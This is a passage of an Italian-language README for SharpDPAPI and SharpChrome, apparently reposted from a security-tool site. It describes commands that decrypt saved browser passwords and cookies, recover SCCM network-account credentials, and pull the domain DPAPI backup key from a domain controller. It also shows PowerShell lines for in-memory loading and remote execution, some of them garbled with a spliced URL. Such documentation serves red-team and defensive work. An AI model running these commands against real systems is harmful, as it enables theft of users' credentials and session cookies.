Quando si cerca un blob base64, specifica i byte codificati in base64 da analizzare con il parametro /base64:<base64 str>.

SCCM

Se in esecuzione con privilegi elevati su una macchina che è un client SCCM, se l'ambiente SCCM è configurato con un Network Access Account (NAA), i blob DPAPI protetti da master key di sistema contenenti le credenziali NAA possono essere recuperati tramite WMI; Il comando SCCM interrogherà i blob tramite WMI, recupererà le master key di sistema e decripterà i blob.

SharpChrome Commands

logins

Il comando logins cercherà i file 'Login Data' di Chrome e decripterà le password di accesso salvate. Se l'esecuzione avviene in un contesto non elevato, CryptProtectData() verrà automaticamente utilizzato per tentare di decriptare i valori. Se viene specificato /browser:edge, viene esaminato il nuovo browser Edge basato su Chromium.

I file Login Data possono anche essere decriptati con a) qualsiasi masterkey "{GUID}:SHA1 {GUID}:SHA1 ..." passate, b) un /mkfile:FILE con uno o più mapping di masterkey {GUID}:SHA1, c) una chiave di backup DPAPI del dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima qualsiasi masterkey utente, o d) una /password:X per decriptare qualsiasi masterkey utente, che vengono poi utilizzate come tabella di decrittazione di ricerca. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.

Un file Login Data specifico può essere specificato con /target:FILE. È possibile specificare un /server:SERVER remoto se viene fornito anche un /pvk o /password. Se si esaminano istanze più recenti di Chrome/Edge, è possibile specificare una chiave di stato AES /statekey:X.

Per impostazione predefinita, gli accessi vengono visualizzati in formato csv. Questo può essere modificato con /format:table per un output tabellare. Inoltre, per impostazione predefinita vengono visualizzate solo le voci con valore password non nullo, ma tutti i valori possono essere visualizzati con /showall.

Se eseguito da un contesto elevato, verranno esaminati i file Login Data di TUTTI gli utenti, altrimenti verranno elaborati solo i file Login Data dell'utente corrente.

cookies

Il comando cookies cercherà i file 'Cookies' di Chromium e decripterà i valori dei cookie. Se l'esecuzione avviene in un contesto non elevato, CryptProtectData() verrà automaticamente utilizzato per tentare di decriptare i valori. Puoi cambiare l'applicazione di destinazione usando /browser:<VALUE> (ad es., edge, brave, slack).

I file Cookie possono anche essere decriptati con a) qualsiasi masterkey "{GUID}:SHA1 {GUID}:SHA1 ..." passate, b) un /mkfile:FILE con uno o più mapping di masterkey {GUID}:SHA1, c) una chiave di backup DPAPI del dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima qualsiasi masterkey utente, o d) una /password:X per decriptare qualsiasi masterkey utente, che vengono poi utilizzate come tabella di decrittazione di ricerca. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.

Un file Cookies specifico può essere specificato con /target:FILE. È possibile specificare un /server:SERVER remoto se viene fornito anche un /pvk o /password. Se si esaminano istanze più recenti di Chrome/Edge, è possibile specificare una chiave di stato AES /statekey:X.

Per impostazione predefinita, i cookie vengono visualizzati in formato csv. Questo può essere modificato con /format:table per un output tabellare, o /format:json per un output importabile da EditThisCookie. Inoltre, per impostazione predefinita vengono visualizzate solo le voci di cookie non scaduti, ma tutti i valori possono essere visualizzati con /showall.

Se eseguito da un contesto elevato, verranno esaminati i file Cookie di TUTTI gli utenti, altrimenti verranno elaborati solo i file Cookie dell'utente corrente.

Il comando cookies ha anche gli argomenti /cookie:REGEX e /url:REGEX per restituire solo i nomi dei cookie o gli URL che corrispondono all'espressione regolare fornita. Ciò è utile con /format:json per clonare facilmente l'accesso a siti specifici.

statekeys

Per impostazione predefinita, il comando statekeys cercherà le applicazioni basate su Chromium (Google Chrome, Edge, Brave e Slack), individuerà i loro file AES statekey (ad es., 'AppData\Local\Google\Chrome\User Data\Local State' e 'AppData\Local\Microsoft\Edge\User Data\Local State') e li decripterà utilizzando lo stesso tipo di argomenti che possono essere forniti per cookies e logins. Puoi anche fornire il percorso di un file state-key specifico usando il parametro /target: (ad es., "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

Le chiavi di stato possono anche essere decriptate con a) qualsiasi masterkey "{GUID}:SHA1 {GUID}:SHA1 ..." passate, b) un /mkfile:FILE con uno o più mapping di masterkey {GUID}:SHA1, c) una chiave di backup DPAPI del dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima qualsiasi masterkey utente, o d) una /password:X per decriptare qualsiasi masterkey utente, che vengono poi utilizzate come tabella di decrittazione di ricerca. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.

Se eseguito da un contesto elevato, verranno esaminate le chiavi di stato di TUTTI gli utenti, altrimenti verranno elaborate solo le chiavi di stato dell'utente corrente.

backupkey

Il comando backupkey recupererà la chiave di backup DPAPI del dominio da un controller di dominio utilizzando l'approccio API LsaRetrievePrivateData da Mimikatz. Questa chiave privata può quindi essere utilizzata per decriptare i blob delle master key per qualsiasi utente del dominio. E ancora meglio, la chiave non cambia mai ;)

Sono necessari diritti di amministratore di dominio (o equivalenti) per recuperare la chiave da un controller di dominio remoto.

Il flag /nowrap impedirà il wrapping della chiave base64 durante la visualizzazione.

Questo blob di chiave base64 può essere decodificato in un file binario .pvk che può quindi essere utilizzato con il modulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk di Mimikatz, o utilizzato in forma blob/file /pvk:X con i comandi masterkeys, credentials o vault di SharpDPAPI.

Per impostazione predefinita, SharpDPAPI proverà a determinare il controller di dominio corrente tramite la chiamata API DsGetDcName. È possibile specificare un server con /server:COMPUTER.dominio.com. Se si desidera salvare la chiave su disco invece di restituirla come blob base64, usa /file:key.pvk.

Compile Instructions

Non abbiamo intenzione di rilasciare binari per SharpDPAPI, quindi dovrai compilarlo da solo :)

SharpDPAPI è stato compilato per .NET 3.5 ed è compatibile con Visual Studio 2019 Community Edition. Basta aprire il file .sln del progetto, scegliere "Release" e compilare.

Targeting other .NET versions

La configurazione di build predefinita di SharpDPAPI è per .NET 3.5, che fallirà sui sistemi senza quella versione installata. Per destinare SharpDPAPI a .NET 4 o 4.5, apri la soluzione .sln, vai su Progetto -> Proprietà di SharpDPAPI e cambia il "Framework di destinazione" in un'altra versione.

Sidenote: Running SharpDPAPI Through PowerShell

Se desideri eseguire SharpDPAPI in memoria tramite un wrapper PowerShell, prima compila SharpDPAPI e codifica in base64 l'assembly risultante:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

SharpDPAPI può quindi essere caricato in uno script PowerShell con il seguente (dove "aa..." viene sostituito con la stringa dell'assembly SharpDPAPI codificata in base64):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

Il metodo Main() e qualsiasi argomento possono quindi essere invocati come segue:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)

Sidenote Sidenote: Running SharpDPAPI Over PSRemoting

A causa del modo in cui PSRemoting gestisce l'output, dobbiamo reindirizzare stdout in una stringa e restituire quella invece. Fortunatamente, SharpDPAPI ha una funzione per aiutare con questo.

Se segui le istruzioni in Sidenote: Esecuzione di SharpDPAPI tramite PowerShell per creare un SharpDPAPI.ps1, aggiungi qualcosa come il seguente allo script:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)

Dovresti quindi essere in grado di eseguire SharpDPAPI tramite PSRemoting con qualcosa come il seguente:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

In alternativa, l'argomento /consoleoutfile:C:\FILE.txt di SharpDPAPI reindirizzerà tutti i flussi di output al file specificato.

Scarica lo strumento
credentials
/mkfile:FILE
/pvk:BASE64...
/pvk:key.pvk
masterkeys
/password:X
sekurlsa::dpapi